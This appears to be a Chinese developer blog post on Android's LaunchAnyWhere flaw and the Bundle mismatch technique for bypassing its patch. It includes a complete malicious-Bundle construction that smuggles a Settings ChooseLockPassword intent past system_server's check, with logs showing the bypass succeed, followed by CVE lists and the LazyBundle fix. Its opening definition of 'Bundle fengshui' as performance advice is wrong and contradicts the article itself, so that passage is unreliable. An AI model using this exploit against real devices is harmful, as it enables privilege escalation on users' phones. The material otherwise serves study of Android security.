我正在参加「掘金·启航计划」
前言
2023年知名互联网厂商竟持续挖掘新的安卓OEM相关漏洞，在其公开发布的App中实现对目前市场主流手机系统的漏洞攻击。
以下描述，均来自此刻正发生在数以亿计手机上的真实案例。相关敏感信息已经过处理。
该互联网厂商在自家看似无害的 App 里，使用的第一个黑客技术手段，是利用一个近年来看似默默无闻、但实际攻击效果非常好的 Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞，实现 0day/Nday 攻击，从而绕过系统校验，获取系统级 StartAnyWhere 能力。
阅读这篇文章之前先了解一下launchAnyWhere漏洞和Bundle数据结构和反序列化:
launchAnyWhere: Activity组件权限绕过漏洞解析
什么是Bundle风水
Bundle 风水（Bundle Fengshui）是指在 Android 应用开发中，使用 Bundle 类传递数据时，需要注意一些优化技巧，以避免在传递数据过程中出现性能问题。
由于 Bundle 类是基于键值对存储数据的，而且支持多种数据类型的传递，因此在使用时需要注意以下几个方面：
避免在传递大量数据时使用 Bundle：当需要传递大量数据时，应该考虑使用其他更高效的传递方式，例如序列化、Parcelable 等。
尽量避免使用序列化和 Parcelable：虽然序列化和 Parcelable 可以用于传递复杂对象，但是它们的性能较低，应该尽量避免使用。
使用合适的数据类型：在使用 Bundle 传递数据时，应该根据实际需要使用合适的数据类型，例如使用 getInt() 而不是 getLong() 等。
合理使用 Bundle 的 API：Bundle 类提供了多个 API，例如 putXXX()、getXXX() 等，应该根据实际需要使用合适的 API。
避免使用 Bundle 传递大量数据：Bundle 类在传递大量数据时可能会出现性能问题，应该尽量避免使用。
总之，Bundle 风水是指在使用 Bundle 类传递数据时，需要注意一些优化技巧，以避免在传递数据过程中出现性能问题。
相关文章：Introducing Android's Safer Parcel - Black Hat
在开发人员操作Parcel对象并尝试从其中读取或向其中写入数据时，可能会出现一种错误：开发人员由于种种原因，可能是太粗心、没考虑好边界条件或对某些Java容器类型的理解有误，而导致在处理一个相同的Parcelable对象时，从Parcel中读取数据的字节数，和向其中写入数据的字节数不相等，而造成了错位现象，这便是Parcelable反序列化漏洞，例如如下的代码：
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
很明显，这位开发人员中读取的时候只读取了4个字节，而写入时候却写入了8个字节！这看起来非常愚蠢，似乎不会有开发人员写出这种漏洞，然而在实际的代码中可能存在比这个例子复杂得多的情况，以至于连Google的开发人员都会犯错，甚至有些漏洞我在第一次看到代码时也没有发现其中的问题，而是用了几小时时间才恍然大悟，发现其中存在一个隐蔽的读写不匹配问题。
LaunchAnyWhere漏洞代码review
launchAnyWhere: Activity组件权限绕过漏洞解析在这篇文章中我们只大概描述这个问题，它是在AccountManagerService的AddAccount流程中，由system_server接收到Bundle参数后没有进行检查，直接让Settings取出里面的KEY_INTENT（intent）字段并启动界面，这是一个典型的LaunchAnyWhere漏洞，那么Google当时的修复也很简单，选择了中system_server中收到Bundle之后尝试取出其中的Intent，如果存在这个字段则检查Intent所解析出的最终调用组件是否属于原始调用者，这样就避免了调用者以Settings的身份启动任意Activity的问题。
//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
extends IAccountManager.Stub
implements RegisteredServicesCacheListener<AuthenticatorDescription> {
/****部分代码省略****/
/** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
private abstract class StartAccountSession extends Session {
/****部分代码省略****/
@Override
public void onResult(Bundle result) {
Bundle.setDefusable(result, true);
mNumResults++;
Intent intent = null;
//尝试从Bundle对象中取出KEY_INTENT
if (result != null
&& (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
//对KEY_INTENT进行校验
if (!checkKeyIntent(
Binder.getCallingUid(),
intent)) {
onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
"invalid intent in bundle returned");
return;
}
}
/****部分代码省略****/
sendResponse(response, result);
}
}
private void sendResponse(IAccountManagerResponse response, Bundle result) {
try {
response.onResult(result);
} catch (RemoteException e) {
// if the caller is dead then there is no one to care about remote
// exceptions
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, "failure while notifying response", e);
}
}
}
private abstract class Session extends IAccountAuthenticatorResponse.Stub
implements IBinder.DeathRecipient, ServiceConnection {
/**
* Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
* security policy.
*
* In particular we want to make sure that the Authenticator doesn't try to trick users
* into launching arbitrary intents on the device via by tricking to click authenticator
* supplied entries in the system Settings app.
*/
protected boolean checkKeyIntent(int authUid, Intent intent) {
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
long bid = Binder.clearCallingIdentity();
try {
PackageManager pm = mContext.getPackageManager();
//解析出Intent最终调用的Activity
ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
if (resolveInfo == null) {
return false;
}
ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
int targetUid = targetActivityInfo.applicationInfo.uid;
PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
// 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名，满足其中之一则允许调用
if (!isExportedSystemActivity(targetActivityInfo)
&& !pmi.hasSignatureCapability(
targetUid, authUid,
PackageParser.SigningDetails.CertCapabilities.AUTH)) {
String pkgName = targetActivityInfo.packageName;
String activityName = targetActivityInfo.name;
String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
+ "does not share a signature with the supplying authenticator (%s).";
Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
return false;
}
return true;
} finally {
Binder.restoreCallingIdentity(bid);
}
}
}
}
Settings在收到Intent之后调用startActivityForResultAsUser进行发送:
public class AddAccountSettings extends Activity {
/****部分代码省略****/
private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
@Override
public void run(AccountManagerFuture<Bundle> future) {
boolean done = true;
try {
Bundle bundle = future.getResult();
//bundle.keySet();
//获得KEY_INTENT
Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
if (intent != null) {
done = false;
Bundle addAccountOptions = new Bundle();
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
Utils.hasMultipleUsers(AddAccountSettings.this));
addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
intent.putExtras(addAccountOptions);
//启动KEY_INTENT代表的Activity
startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
} else {
setResult(RESULT_OK);
if (mPendingIntent != null) {
mPendingIntent.cancel();
mPendingIntent = null;
}
}
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
} catch (OperationCanceledException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
} catch (IOException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} catch (AuthenticatorException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} finally {
if (done) {
finish();
}
}
}
};
}
这个补丁在当时是没什么问题，但是等到2017年，有海外的研究人员在一份恶意样本中发现，可以利用Parcelable反序列化绕过这个补丁，由于Google的补丁是在system_server中检查Intent，并且又通过AIDL传给Settings之后启动界面，这其中跨越了进程边界，也就涉及到一次序列化和反序列化的过程，那么我们如果通过Parcelable反序列化漏洞的字节错位，通过精确的布局，使得system_server在检查Intent时找不到这个Intent，而在错位后Settings却刚好可以找到，这样就可以实现补丁的绕过并再次实现LaunchAnyWhere，研究人员将发现的这种漏洞利用方式命名为Bundle mismatch。
Bundle mismatch，如何利用Parcelable反序列化漏洞
了解了Android框架对Bundle类型的处理，现在我们需要关注如何开发一个Bundle mismatch利用，我们依旧以上面的漏洞为例，再回顾一下我们的示例代码：
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
在本例中读取是4个字节，而写入是8个字节，那么我们考虑后面4个字节是整个利用的核心，按照上文中描述的Bundle格式解析逻辑，当序列化时多写入一个0之后，下一次读完了4字节之后，这个0会何去何从呢？
答案是他必定会作为下一个Bundle key的key string存在，而我们知道readString的开头是先读取一个int作为字符串的长度。所以问题就有了答案，我们后面这个0就会被认为是一个字符串的长度，并且是一个0长度的字符串，注意不是null字符串，因为null字符串的长度字段为-1。
现在我们知道，除了前面this.b多写入的0之外，下一个4字节会作为padding存在，那么后面我们如何继续布局呢？这里面需要再填充一个类型字段，我们这里选择的是VAL_BYTEARRAY，也就是13，后续还需要布局字节数组的长度和内容，这个就要结合错位前的逻辑进行布局了，经过精心调试之后，我给出的答案如下（不包含错位写入的0）：
构造恶意的Bundle
public Bundle makeBundle() {
Bundle bundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel exp = Parcel.obtain();
exp.writeInt(3); // bundle key count
//byte[] key1Name = {0x00};//第一个元素的key我们使用\x00，其hashcode为0，我们只要布局后续key的hashcode都大于0即可
//String mismatch = new String(key1Name);
String mismatch = "mismatch";//后续元素的hashcode必须大于mismatch的hashcode
exp.writeString(mismatch);
exp.writeInt(4); // VAL_PARCELABLE
exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
// 这里按照错位前的逻辑开发，错位后在这个4字节之后会多出一个4字节的0
exp.writeInt(0);
/**********************恶意构造的内容start*********************************/
byte[] key2key = {13, 0, 8};
String key2Name = new String(key2key);
// 在错位之后，多出的0作为了新的key的字符串长度，并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY（13），前面的0用于补上4字节的高位。而8则是字节数组的长度了。
//简单来说就是13和0这俩个字符的4个字节构成13这个数字，字符8和终止符这两个字符构成8这个数字。
exp.writeString(key2Name);//整体作为长度为3的key string
// 在错位之后，这里的13和下面的值是作为8字节的字节数组的一部分
exp.writeInt(13);//这里的13则也是巧妙地被解析成了VAL_BYTEARRAY（13）
int intentSizeOffset = exp.dataPosition();
// 在错位之后上面的13和这里的值就会作为8字节的字节数组，后续就会正常解析出intent元素了，就成功绕过补丁
int evilObject = -1;//这里应为字节数组的长度，我们填写为intent元素所占用的长度，即可将intent元素巧妙地隐藏到字节数组中(此值被Intent长度覆盖)
exp.writeInt(evilObject);
int intentStartOffset = exp.dataPosition();
/**********************恶意构造的内容end*********************************/
/**********************intent内容start*********************************/
exp.writeString(AccountManager.KEY_INTENT);
exp.writeInt(4);// VAL_PARCELABLE
//可以直接构造Intent放在exp中，此处为了显示构造过程，将Intent字段逐一放入exp中
//Intent intent = new Intent(Intent.ACTION_RUN);
//intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
//exp.writeParcelable(intent, 0);
exp.writeString("android.content.Intent");// name of Class Loader
exp.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(exp, null); // Uri is null
exp.writeString(null); // mType is null
//exp.writeString(null); // mIdentifier is null android28没有该字段
exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
exp.writeString(null); // mPackage is null
exp.writeString("com.android.settings");
exp.writeString("com.android.settings.password.ChooseLockPassword");
exp.writeInt(0); //mSourceBounds = null
exp.writeInt(0); // mCategories = null
exp.writeInt(0); // mSelector = null
exp.writeInt(0); // mClipData = null
exp.writeInt(-2); // mContentUserHint
exp.writeBundle(null);
/**********************intent内容end*********************************/
int intentEndOffset = exp.dataPosition();
//将指针设置在intent数据之前，然后写入intent的大小
exp.setDataPosition(intentSizeOffset);
int intentSize = intentEndOffset - intentStartOffset;
exp.writeInt(intentSize);
Log.d("tanzhenxing33", "intentSize=" + intentSize);
//写完之后将指针重置回原来的位置
exp.setDataPosition(intentEndOffset);
// 最后一个元素在错位之前会被当成最后一个元素，错位之后就会被忽略，因为前面已经读取的元素数已经足够
String key3Name = "Padding-Key";
//String key3Name = "padding";//hashcode排序失败
exp.writeString(key3Name);
exp.writeInt(-1);//VAL_NULL
int length = exp.dataSize();
bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);//魔数
bndlData.appendFrom(exp, 0, length);//写入数据总长度
bndlData.setDataPosition(0);
Log.d("tanzhenxing33", "length=" + length);
bundle.readFromParcel(bndlData);
return bundle;
}
我们将以上代码的到的Bundle进行一次序列化和反序列化查看里面的key和Value类型：
main:是刚构造出Bundle的Activity;
TestBundleMismatchResultActivity:是进行一次内核传输的到达的第二个Activity;
D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key = [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }
可以看到刚构造出来的Bunlde：
mismatch对应的key，其Value为com.tzx.launchanywhere. MyClass类型；�对应的key，其Value为Byte数组；Padding-Key对应的key，其Value为NULL；
进过一次序列化和反序列化的Bundle:
mismatch对应的key，其Value为com.tzx.launchanywhere. MyClass类型；intent对应的key，其Value为android.content.Intent类型；- 空字符串对应的
key，其Value为Byte数组；
Bundle二进制数据分析
其实以上描述的内容，我们通过Bundle二进制数据的变化更加容易理解。
在看二进制数据之前，先说了解一下String的4字节对齐
String的4字节对齐
在计算机中，由于硬件存储结构等原因，许多数据类型的内存布局都需要进行对齐，这也包括字符串类型。 在字符串中，通常是以字节为单位进行存储的，为了实现最优的内存访问性能，通常需要将字符串的每个字符存储到 4 字节的内存地址上。 因此，当字符串的长度不是 4 的倍数时，会在字符串的结尾添加额外的空字节来进行补齐，以满足 4 字节对齐的要求。例如，如果字符串的长度为 5，则会在其结尾添加一个空字节，使其长度变为 8，这样就可以满足 4 字节对齐的要求。 需要注意的是，这种对齐操作会对内存使用量产生一定的影响，因为对于很多短字符串而言，它们实际使用的内存可能会比其长度更长。因此，在处理大量字符串数据时，需要注意内存的使用情况，避免出现内存不足等问题。
Parcel中的数据写入文件
我们将Parcel中的数据写入文件进行查看：
private void writeByte(Parcel bndlData) {
try {
byte[] raw = bndlData.marshall();
File file = new File(getExternalCacheDir(), "obj.pcl");
if (file.exists()) {
file.delete();
} else {
file.createNewFile();
}
FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
fos.write(raw);
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
查看二进制文件
写出的文件是一个二进制文件，我们可以通过od命令查看：
od -tx1 obj.pcl
也可以通过hexfiend工具查看，下载链接为hexfiend.com/。
或者直接通过vs cdoe安装hex相关插件查看。
数据分析结果
构造的恶意
Bundle数据分析结果
构造的恶意
Bundle经过一次序列化和反序列化的数据分析
对比第一张Bundle数据分析图，我们只需要关注红框中的数据分析结果即可：
- 经过一次序列化
MyClass多写了一个int的0； - 这个0会被作为第二个
key的长度； - 之前
writeString的终止符和字节对齐的4个字节，会被作为长度为0的key的名称； - 之前写入的
{13, 0, 8}的前4个字节会作为长度为0的key的数据类型为（VAL_BYTEARRAY=13），后面的8和字节对齐的4个字节作为ByteArray的长度，其值等于8； - 之前写入的(
VAL_BYTEARRAY=13)和Intent的长度这8个字节作为长度为0的key的Value； - 接下来读取
key的长度为6，key的名称为intent; - 最后一个元素在错位之后就会被忽略，因为前面已经读取的元素数已经足够;
漏洞修复
上述漏洞的修复似乎很直观，只需要把 MyClass 类中不匹配的读写修复就行了。但实际上这类漏洞并不是个例，历史上由于代码编写人员的粗心大意，曾经出现过许多因为读写不匹配导致的提权漏洞，包括但不限于:
CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…
另一个修复思路是修复 TOCTOU 漏洞本身，即确保检查和使用的反序列化对象是相同的，但这种修复方案也是治标不治本，同样可能会被攻击者找到其他的攻击路径并绕过。
因此，为了彻底解决这类层出不穷的问题，Google 提出了一种简单粗暴的缓释方案，即直接从 Bundle 类中下手。虽然 Bundle 本身是 ArrayMap 结构，但在反序列化时候即便只需要获取其中一个 key，也需要把整个 Bundle 反序列化一遍。这其中的主要原因在于序列化数据中每个元素的大小是不固定的，且由元素的类型决定，如果不解析完前面的所有数据，就不知道目标元素在什么地方。
为此在 2021 年左右，AOSP 中针对 Bundle 提交了一个称为 LazyBundle(9ca6a5) 的 patch。其主要思想为针对一些长度不固定的自定义类型，比如 Parcelable、Serializable、List 等结构或容器，会在序列化时将对应数据的大小添加到头部。这样在反序列化时遇到这些类型的数据，可以仅通过检查头部去选择性跳过这些元素的解析，而此时 sMap 中对应元素的值会设置为 LazyValue，在实际用到这些值的时候再去对特定数据进行反序列化。
这个 patch 可以在一定程度上缓释针对 Bundle 风水的攻击，而且在提升系统健壮性也有所助益，因为即便对于损坏的 Parcel 数据，如果接收方没有使用到对应的字段，就可以避免异常的发生。对于之前的 Bundle 解析策略，哪怕只调用了 size 方法，也会触发所有元素的解析从而导致异常。 在这个 patch 中 unparcel 还增加了一个 boolean 参数 itemwise，如果为 true 则按照传统方式解析每个元素，否则就会跳过 LazyValue 的解析。
有兴趣的可以阅读该patch对应提交记录，LazyBundle(9ca6a5)
Android13源码中也可以看到对应的修改：android13中的BaseBundle.java
//android-33/android/os/Parcel.java
public final class Parcel {
/****部分代码省略****/
@Nullable
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
public final void writeValue(@Nullable Object v) {
if (v instanceof LazyValue) {
LazyValue value = (LazyValue) v;
value.writeToParcel(this);
return;
}
int type = getValueType(v);
writeInt(type);
if (isLengthPrefixed(type)) {
// Length
int length = dataPosition();
writeInt(-1); // Placeholder
// Object
int start = dataPosition();
writeValue(type, v);
int end = dataPosition();
// Backpatch length
setDataPosition(length);
writeInt(end - start);
setDataPosition(end);
} else {
writeValue(type, v);
}
}
private boolean isLengthPrefixed(int type) {
// In general, we want custom types and containers of custom types to be length-prefixed,
// this allows clients (eg. Bundle) to skip their content during deserialization. The
// exception to this is Bundle, since Bundle is already length-prefixed and already copies
// the correspondent section of the parcel internally.
switch (type) {
case VAL_MAP:
case VAL_PARCELABLE:
case VAL_LIST:
case VAL_SPARSEARRAY:
case VAL_PARCELABLEARRAY:
case VAL_OBJECTARRAY:
case VAL_SERIALIZABLE:
return true;
default:
return false;
}
}
}
文章到这里就全部讲述完啦，若有其他需要交流的可以留言哦~！
参考文章：
再谈Parcelable反序列化漏洞和Bundle mismatch
